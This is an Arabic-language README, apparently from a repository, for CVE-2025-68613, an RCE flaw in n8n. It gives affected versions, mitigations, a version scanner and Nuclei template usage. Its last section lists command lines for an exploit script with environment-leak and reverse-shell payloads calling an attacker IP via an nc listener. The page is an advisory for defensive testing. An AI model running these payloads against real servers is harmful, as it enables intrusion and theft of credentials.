🚨 CVE-2025-68613 — ثغرة RCE حرجة في n8n

الخطورة: 🔴 حرجة الأثر: تنفيذ تعليمات برمجية عن بُعد المنصة المتأثرة: n8n (أتمتة سير العمل)

🧩 نظرة عامة

تُعد CVE-2025-68613 ثغرة أمنية حرجة في n8n، وهي منصة أتمتة سير عمل مفتوحة المصدر. تسمح هذه الثغرة لمهاجم مُصادَق بتنفيذ تعليمات برمجية عشوائية على الخادم عبر استغلال طريقة تقييم تعبيرات سير العمل.

🎯 تفاصيل الثغرة

• النوع: حقن التعبيرات → تنفيذ تعليمات برمجية عن بُعد
• CWE: CWE-913 — التحكم غير السليم في موارد التعليمات البرمجية المُدارة ديناميكيًا
• متجه الهجوم: الشبكة
• الصلاحيات المطلوبة: منخفضة (مستخدم مُصادَق)
• تفاعل المستخدم: لا شيء
• النطاق: متغيّر

💥 لماذا هي خطيرة؟ يتم تقييم التعبيرات الخبيثة في سياق غير معزول بشكل صحيح، مما يتيح الوصول إلى بيئة التشغيل الأساسية.

🧨 الأثر المحتمل

إذا تم استغلالها، يمكن للمهاجم القيام بما يلي:

• 🖥️ تنفيذ أوامر نظام عشوائية
• 🔐 سرقة بيانات الاعتماد والرموز والأسرار
• 🧬 تعديل سير العمل أو زرع أبواب خلفية فيه
• 📤 تسريب بيانات حساسة
• 💣 اختراق مضيف n8n بالكامل

يعمل الهجوم بصلاحيات مطابقة لصلاحيات خدمة n8n، مما يضاعف أثره.

📊 مقاييس الخطورة

➡️ المصادقة مطلوبة، لكن لا يلزم وصول إداري.

🧪 الإصدارات المتأثرة

🚫 الهشة:

• 0.211.0 → 1.120.3
• 1.121.0

✅ المصحّحة:

• 1.120.4
• 1.121.1
• 1.122.0 والإصدارات الأحدث

🛠️ المعالجة والتخفيف

✅ الموصى به (الخيار الأفضل)

• قم بالترقية فورًا إلى إصدار مُصحّح

⚠️ تقليل المخاطر مؤقتًا

(لا يزيل الثغرة بالكامل)

• قيّد إنشاء/تعديل سير العمل على المستخدمين الموثوقين فقط
• شغّل n8n بأدنى صلاحيات نظام
• اعزل الخدمة (حاويات، آلة افتراضية، نظام ملفات مقيّد)
• قلّل التعرض للشبكة (VPN، قواعد جدار الحماية)
• فعّل التسجيل وراقب تغييرات سير العمل

🧠 مرجع سريع

✅ CVE-2025-68613.py — فاحص الإصدار والتعرض عن بُعد (آمن)

🧪 مثال على الاستخدام

sudo python3 CVE-2025-68613.py -u http://127.0.0.1:5678

مثال على المخرجات

[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

كيف أشغّل هذا السكربت؟

1. قم بتنزيل وتثبيت Nuclei.
2. استنسخ هذا المستودع إلى نظامك المحلي.
3. شغّل الأمر التالي:

┌──(kali㉿kali)-[~]
└─$ sudo nuclei -t CVE-2025-68613.yaml -u http://targets:5678

أو إذا كنت تريد فحص قائمة من المضيفين، نفّذ:

┌──(kali㉿kali)-[~]
└─$ sudo nuclei -t CVE-2025-68613.yaml -l targets.txt

مثال على المخرجات

أمثلة على الاستخدام:

• تسريب متغيرات البيئة:
  python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload env_leak

• الحصول على معلومات المستخدم:
  python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload id

• صدفة عكسية (شغّل المستمع أولاً: nc -lvnp 4444):
  python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload reverse_shell --attacker_ip YOUR_IP --attacker_port 4444

هذا السكربت مخصص لاختبار الأمان المصرح به فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

⚠️ إخلاء مسؤولية ⚠️

🔒 هذا السكربت هو استغلال إثبات المفهوم (PoC) لثغرة CVE-2025-68613 في n8n.

📚 يُقدَّم لأغراض تعليمية فقط ولاختبار الأمان المصرح به فقط.

🛡️ استخدمه حصريًا على الأنظمة التي تملكها أو تتحكم بها أو لديك إذن كتابي صريح لاختبارها.

🚫 الاستخدام غير المصرح به ضد أي نظام غير قانوني وقد ينتهك القوانين (مثل قوانين الاحتيال وإساءة استخدام الحاسوب).

❌ لا يتحمل المؤلف وأي أطراف مرتبطة به أي مسؤولية عن إساءة الاستخدام أو الضرر أو العواقب القانونية.

✅ استخدمه بمسؤولية وأخلاقيًا وبتوافق كامل مع جميع القوانين واللوائح المعمول بها.

🔐 إذا كنت تجري اختبار اختراق، فتأكد من توفر التفويض المناسب (مثل قواعد الاشتباك).

🛠️ قد يستخدم باحثو الأمان هذا السكربت للتحقق من الثغرات وتشجيع التصحيح في الوقت المناسب.